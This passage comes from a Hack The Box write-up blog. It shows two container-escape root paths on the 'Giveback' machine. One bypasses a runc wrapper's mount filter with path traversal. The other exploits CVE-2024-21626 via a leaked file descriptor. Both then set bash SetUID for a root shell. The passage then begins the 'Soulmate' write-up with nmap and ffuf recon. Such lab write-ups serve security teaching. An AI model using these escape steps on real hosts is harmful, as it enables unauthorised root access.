                "cwd": "/",
                "capabilities": {
                        "bounding": [
                                "CAP_AUDIT_WRITE",
                                "CAP_KILL",
                                "CAP_NET_BIND_SERVICE"
                        ],
                        "effective": [
                                "CAP_AUDIT_WRITE",
                                "CAP_KILL",
                                "CAP_NET_BIND_SERVICE"
                        ],
                        "permitted": [
                                "CAP_AUDIT_WRITE",
                                "CAP_KILL",
                                "CAP_NET_BIND_SERVICE"
                        ]
                },
                "rlimits": [
                        {
                                "type": "RLIMIT_NOFILE",
                                "hard": 1024,
                                "soft": 1024
                        }
                ],
                "noNewPrivileges": true
        },
        "root": {
                "path": "rootfs",
                "readonly": true
        },
        "hostname": "runc",
        "mounts": [
                {
                        "destination": "/proc",
                        "type": "proc",
                        "source": "proc"
                },
                {
                        "destination": "/dev",
                        "type": "tmpfs",
                        "source": "tmpfs",
                        "options": [
                                "nosuid",
                                "strictatime",
                                "mode=755",
                                "size=65536k"
                        ]
                },
                {
                        "destination": "/dev/pts",
                        "type": "devpts",
                        "source": "devpts",
                        "options": [
                                "nosuid",
                                "noexec",
                                "newinstance",
                                "ptmxmode=0666",
                                "mode=0620",
                                "gid=5"
                        ]
                },
                {
                        "destination": "/dev/shm",
                        "type": "tmpfs",
                        "source": "shm",
                        "options": [
                                "nosuid",
                                "noexec",
                                "nodev",
                                "mode=1777",
                                "size=65536k"
                        ]
                },
                {
                        "destination": "/dev/mqueue",
                        "type": "mqueue",
                        "source": "mqueue",
                        "options": [
                                "nosuid",
                                "noexec",
                                "nodev"
                        ]
                },
                {
                        "destination": "/sys",
                        "type": "sysfs",
                        "source": "sysfs",
                        "options": [
                                "nosuid",
                                "noexec",
                                "nodev",
                                "ro"
                        ]
                },
                {
                        "destination": "/sys/fs/cgroup",
                        "type": "cgroup",
                        "source": "cgroup",
                        "options": [
                                "nosuid",
                                "noexec",
                                "nodev",
                                "relatime",
                                "ro"
                        ]
                }
        ],
        "linux": {
                "resources": {
                        "devices": [
                                {
                                        "allow": false,
                                        "access": "rwm"
                                }
                        ]
                },
                "namespaces": [
                        {
                                "type": "pid"
                        },
                        {
                                "type": "network"
                        },
                        {
                                "type": "ipc"
                        },
                        {
                                "type": "uts"
                        },
                        {
                                "type": "mount"
                        },
                        {
                                "type": "cgroup"
                        }
                ],
                "maskedPaths": [
                        "/proc/acpi",
                        "/proc/asound",
                        "/proc/kcore",
                        "/proc/keys",
                        "/proc/latency_stats",
                        "/proc/timer_list",
                        "/proc/timer_stats",
                        "/proc/sched_debug",
                        "/sys/firmware",
                        "/proc/scsi"
                ],
                "readonlyPaths": [
                        "/proc/bus",
                        "/proc/fs",
                        "/proc/irq",
                        "/proc/sys",
                        "/proc/sysrq-trigger"
                ]
        }
}
</span></code></pre></div></div>

<p>If I had used <code class="language-plaintext highlighter-rouge">debug</code>, the resulting file would be owned and only writable by root. This restriction could be overcome, as since babywyrm owns the directory, I could move it and make a copy I can edit. But just running <code class="language-plaintext highlighter-rouge">runc</code> is easier.</p>

<p>I’ll make an edit to add the following to the <code class="language-plaintext highlighter-rouge">mounts</code> list so that the host filesystem is mounted in the container at <code class="language-plaintext highlighter-rouge">/hostfs</code>:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">...</span><span class="p">[</span><span class="err">snip</span><span class="p">]</span><span class="err">...</span><span class="w">  
  </span><span class="nl">"mounts"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"destination"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/hostfs"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"bind"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"source"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"options"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"rbind"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rw"</span><span class="p">]</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"destination"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/proc"</span><span class="p">,</span><span class="w">
</span><span class="err">...</span><span class="p">[</span><span class="err">snip</span><span class="p">]</span><span class="err">...</span><span class="w">
</span></code></pre></div></div>

<p>I’ll start the container:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">sudo</span> /opt/debug run oxdfroot
<span class="go">[sudo] password for babywyrm: 
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password: 

[*] Administrative password verified
[*] Processing command: run
Error: Host root filesystem mount detected - not permitted
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">debug</code> binary is blocking the mount. This worked on release, but a patch in the November 2025 changelog added the check:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260217095107969.webp" />
    <img loading="lazy" src="/img/image-20260217095107969.png" alt="image-20260217095107969" class="include_image " />
</picture>

<h4 id="bypass-filter">Bypass Filter</h4>

<p>It’s checking above that I’m trying to mount the root filesystem. If <code class="language-plaintext highlighter-rouge">debug</code> is looking for values that start with <code class="language-plaintext highlighter-rouge">/</code> or <code class="language-plaintext highlighter-rouge">/root</code>, then perhaps I can bypass that using a directory traversal. I’ll update my <code class="language-plaintext highlighter-rouge">config.json</code> so that it mounts <code class="language-plaintext highlighter-rouge">/var/..</code>. Now when I run it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">sudo</span> /opt/debug run oxdfroot
<span class="go">[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password: 

[*] Administrative password verified
[*] Processing command: run
[*] Starting container: oxdfroot
</span><span class="gp">#</span><span class="w"> 
</span></code></pre></div></div>

<p>The host filesystem is mounted as <code class="language-plaintext highlighter-rouge">hostfs</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"># </span><span class="nb">cd</span> /hostfs/root
<span class="gp"># </span><span class="nb">ls</span>
<span class="go">'\'   audit__.sh   coredns   dns.sh   helm   iptables_rules.sh   python   root.txt
</span></code></pre></div></div>

<p>I’ll grab the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"># </span><span class="nb">cat </span>root.txt
<span class="go">d01c2698************************
</span></code></pre></div></div>

<p>I can also set <code class="language-plaintext highlighter-rouge">bash</code> SetUID / SetGID:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"># </span><span class="nb">chmod </span>6777 /hostfs/bin/bash
</code></pre></div></div>

<p>From the host, I’ll get root (using <code class="language-plaintext highlighter-rouge">-p</code> to not drop privs):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span>bash <span class="nt">-p</span>
<span class="gp">bash-5.1#</span><span class="w"> 
</span></code></pre></div></div>

<h3 id="cve-2024-21626">CVE-2024-21626</h3>

<h4 id="identify">Identify</h4>

<p>Searching for “runc version 1.1.11 cve” finds a few different vulnerabilities:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260217095409382.webp" />
    <img loading="lazy" src="/img/image-20260217095409382.png" alt="image-20260217095409382" class="include_image " />
</picture>

<p>There are a few different CVEs of interest here, but three of them released on 5 November 2025, four days after Giveback released. I’ll focus on CVE-2024-21626.</p>

<h4 id="background-1">Background</h4>

<p>NIST describes <a href="https://nvd.nist.gov/vuln/detail/cve-2024-21626">CVE-2024-21626</a> as:</p>

<blockquote>
  <p>runc is a CLI tool for spawning and running containers on Linux according to the OCI specification. In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned container process (from runc exec) to have a working directory in the host filesystem namespace, allowing for a container escape by giving access to the host filesystem (“attack 2”). The same attack could be used by a malicious image to allow a container process to gain access to the host filesystem through runc run (“attack 1”). Variants of attacks 1 and 2 could be also be used to overwrite semi-arbitrary host binaries, allowing for complete container escapes (“attack 3a” and “attack 3b”). runc 1.1.12 includes patches for this issue.</p>
</blockquote>

<p><a href="https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626">This post</a> from vsociety_ goes into detail. By setting the working directory to a file descriptor in the host file system <code class="language-plaintext highlighter-rouge">runc</code> will allow a container escape.</p>

<h4 id="escape">Escape</h4>

<p>I’ll create a staging directory to work from:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp$</span><span class="w"> </span><span class="nb">mkdir</span> <span class="nt">-p</span> 0xdf/rootfs
<span class="gp">babywyrm@giveback:/tmp$</span><span class="w"> </span><span class="nb">cd </span>0xdf/
<span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w">
</span></code></pre></div></div>

<p>In this directory, I’ll need a <code class="language-plaintext highlighter-rouge">rootfs</code> directory with some key stuff in it for the container to run:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span><span class="nb">cp</span> <span class="nt">-aL</span> /bin rootfs/bin 
<span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span><span class="nb">mkdir </span>rootfs/lib64
<span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span><span class="nb">cp</span> /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
<span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span><span class="nb">mkdir </span>rootfs/lib
<span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span><span class="nb">cp</span> <span class="nt">-a</span> /lib/x86_64-linux-gnu rootfs/lib                                                         
</code></pre></div></div>

<p>I’ll create a spec. I could use <code class="language-plaintext highlighter-rouge">debug</code>, but there’s no root access needed here and it makes a file I can more easily edit if I just call <code class="language-plaintext highlighter-rouge">runc</code> directly:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span>runc spec
<span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">config.json  rootfs
</span></code></pre></div></div>

<p>Inside the <code class="language-plaintext highlighter-rouge">config.json</code>, I’ll just update the <code class="language-plaintext highlighter-rouge">cwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span>vim config.json 
<span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span><span class="nb">cat </span>config.json | <span class="nb">grep </span>cwd
<span class="go">                "cwd": "/proc/self/fd/7",
</span></code></pre></div></div>

<p>Due to CVE-2024-21626, <code class="language-plaintext highlighter-rouge">runc</code> leaks a file descriptor that references a location on the host filesystem during container setup. By setting the working directory to <code class="language-plaintext highlighter-rouge">/proc/self/fd/7</code>, the container process starts with its cwd pointing outside the container, into the host.</p>

<p>Now I trigger the exploit by running a container:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/0xdf$</span><span class="w"> </span><span class="nb">sudo</span> /opt/debug <span class="nt">--log</span> /tmp/log.json run exploit
<span class="go">[sudo] password for babywyrm: 
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password: 

[*] Administrative password verified
[*] Processing command: run
[*] Starting container: exploit
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
</span><span class="gp">bash-5.1#</span><span class="w">
</span></code></pre></div></div>

<p>It’s important to pass the <code class="language-plaintext highlighter-rouge">--log</code> parameter. Opening the log file creates an additional file descriptor, which shifts the leaked host fd to position 7. Without it, the fd number would be different and the <code class="language-plaintext highlighter-rouge">cwd</code> path wouldn’t resolve.</p>

<p>It’s a wonky shell. It can’t get the current directory. If I reference <code class="language-plaintext highlighter-rouge">/</code>, it works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">bash-5.1# </span><span class="nb">ls</span> /
<span class="go">job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bin  dev  lib  lib64  proc  sys
</span></code></pre></div></div>

<p>But if I access <code class="language-plaintext highlighter-rouge">../../../root</code>, it’s the host system <code class="language-plaintext highlighter-rouge">/root</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">bash-5.1# </span><span class="nb">ls</span> ../../../root
<span class="go">job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
'\'   audit__.sh   coredns   dns.sh   helm   iptables_rules.sh   python   root.txt
</span></code></pre></div></div>

<p>If I change directories in here, I’ll lose that reference. I can read the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">bash-5.1# </span><span class="nb">cat</span> ../../../root/root.txt 
<span class="go">job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
d01c26980902d5bef950d995a244a5f3
</span></code></pre></div></div>

<p>I can also set the <code class="language-plaintext highlighter-rouge">bash</code> binary as SetUID / SetGID:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">bash-5.1# </span><span class="nb">chmod </span>6777 ../../../bin/bash
<span class="go">job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
</span></code></pre></div></div>

<p>From another shell, I can get a shell as root:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /bin/bash
<span class="go">-rwsrwsrwx 1 root root 1396520 Mar 14  2024 /bin/bash
</span><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span>bash <span class="nt">-p</span>
<span class="gp">bash-5.1#</span><span class="w"> 
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-giveback" /><category term="pentest" /><category term="bug-bounty" /><category term="ctf" /><category term="htb-giveback" /><category term="hackthebox" /><category term="nmap" /><category term="ubuntu" /><category term="debian" /><category term="container" /><category term="kubernetes" /><category term="wordpress" /><category term="php" /><category term="givewp" /><category term="wpscan" /><category term="cve-2024-5932" /><category term="php-object-injection" /><category term="deserialization" /><category term="cve-2024-4577" /><category term="php-cgi" /><category term="cgi" /><category term="best-fit-windows" /><category term="kubernetes-api" /><category term="kubernetes-secrets" /><category term="runc" /><category term="cve-2024-21626" /><category term="docker-escape" /><category term="netexec" /><category term="setuid" /><summary type="html"><![CDATA[Giveback starts with a WordPress website with a donation plugin that’s vulnerable to a RCE exploit. I’ll get a shell in a Kubernetes pod, and use it to scan an internal legacy app running PHP-CGI. I’ll abuse a vulnerability in that application to get to the next pod, where I’ll find a Kubernetes secret to interact with the API and dump secrets. I’ll use an SSH password to get on the host. For root I’ll abuse a custom wrapper around runc two different ways.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/giveback-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/giveback-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Soulmate</title><link href="https://0xdf.gitlab.io/2026/02/14/htb-soulmate.html" rel="alternate" type="text/html" title="HTB: Soulmate" /><published>2026-02-14T14:45:00+00:00</published><updated>2026-02-14T14:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/02/14/htb-soulmate</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/02/14/htb-soulmate.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/soulmate-cover.webp" />
    <img loading="lazy" src="/img/soulmate-cover.png" alt="soulmate" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Soulmate has a PHP-based dating website, as well as an instance of CrushFTP. I’ll showcase two different authentication bypass CVEs to get admin access to CrushFTP. From there I can upload a PHP webshell and get a foothold on the box. I’ll find hardcoded credentials in an Erlang SSH server, and use them to get to the next user. I’ll also use them to connect to this SSH server and navigate the Erlang console as root to solve the challenge.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/721 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/soulmate" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-soulmate.webp" />
          <img src="/icons/box-soulmate.png" alt="soulmate" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/soulmate" target="_blank" class="htb-box-name">soulmate</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Easy">
      Easy
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1963603004482806048">06 Sep 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">06 Sep 2025</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="/img/soulmate-diff.webp" />
          <img src="/img/soulmate-diff.png" alt="Rated difficulty for soulmate" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="/img/soulmate-radar.webp" />
          <img src="/img/soulmate-radar.png" alt="Radar chart for soulmate" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:43:59</span></span><a href="https://app.hackthebox.com/users/512308" target="_blank" rel="noopener"><img alt="LazyTitan33" src="https://www.hackthebox.com/badge/image/512308" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> LazyTitan33</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:47:03</span></span><a href="https://app.hackthebox.com/users/512308" target="_blank" rel="noopener"><img alt="LazyTitan33" src="https://www.hackthebox.com/badge/image/512308" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> LazyTitan33</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/389926" target="_blank" rel="noopener"><img alt="kavigihan" src="https://www.hackthebox.com/badge/image/389926" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> kavigihan</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds two open TCP ports, SSH (22) and HTTP (80):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.231.23
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-12 17:36 UTC
...[snip]...
Nmap scan report for 0xdf.gitlab.htb (10.129.231.23)
Host is up, received reset ttl 63 (0.025s latency).
Scanned at 2026-02-12 17:36:45 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds
           Raw packets sent: 71517 (3.147MB) | Rcvd: 65536 (2.621MB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22,80 <span class="nt">-sCV</span> 10.129.231.23
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-12 17:37 UTC
Nmap scan report for 0xdf.gitlab.htb (10.129.231.23)
Host is up (1.8s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.91 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH and nginx</a> versions, the host is likely running Ubuntu 22.04 jammy LTS.</p>

<p>All of the ports show a TTL of 63, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away.</p>

<p>There’s a redirect on 80 to <code class="language-plaintext highlighter-rouge">soulmate.htb</code>.</p>

<h3 id="subdomain-fuzz">Subdomain Fuzz</h3>

<p>Given the use of domain name / host-based routing, I’ll use <code class="language-plaintext highlighter-rouge">ffuf</code> to scan for any subdomains of <code class="language-plaintext highlighter-rouge">soulmate.htb</code> that may respond differently:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> http://10.129.231.23 <span class="nt">-H</span> <span class="s2">"Host: FUZZ.soulmate.htb"</span> <span class="nt">-w</span> /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.231.23
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 150ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1851 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
</span></code></pre></div></div>

<p>It finds <code class="language-plaintext highlighter-rouge">ftp.soulmate.htb</code>. I’ll add both to my <code class="language-plaintext highlighter-rouge">hosts</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.231.23 soulmate.htb ftp.soulmate.htb
</code></pre></div></div>

<h3 id="soulmatehtb---tcp-80">soulmate.htb - TCP 80</h3>

<h4 id="site">Site</h4>

<p>The website is a dating website:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="/img/image-20260212130623767.webp" />
        <img loading="lazy" src="/img/image-20260212130623767.png" alt="image-20260212130623767" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>There’s a lot on the page, but as far as things I’m interested in:</p>

<ul>
  <li>An email address, <code class="language-plaintext highlighter-rouge">hello@soulmate.htb</code>.</li>
  <li>Login and Registration links</li>
</ul>

<p>The login page looks normal. I’ll register an account:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212174208072.webp" />
    <img loading="lazy" src="/img/image-20260212174208072.png" alt="image-20260212174208072" class="include_image " />
</picture>

<p>Submitting redirects to the login page:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212174230801.webp" />
    <img loading="lazy" src="/img/image-20260212174230801.png" alt="image-20260212174230801" class="include_image " />
</picture>

<p>Once logged in, there’s a profile page:</p>

<div style="position: relative; min-height: 800px;">
    <picture>
        <source type="image/webp" srcset="/img/image-20260212174313184.webp" />
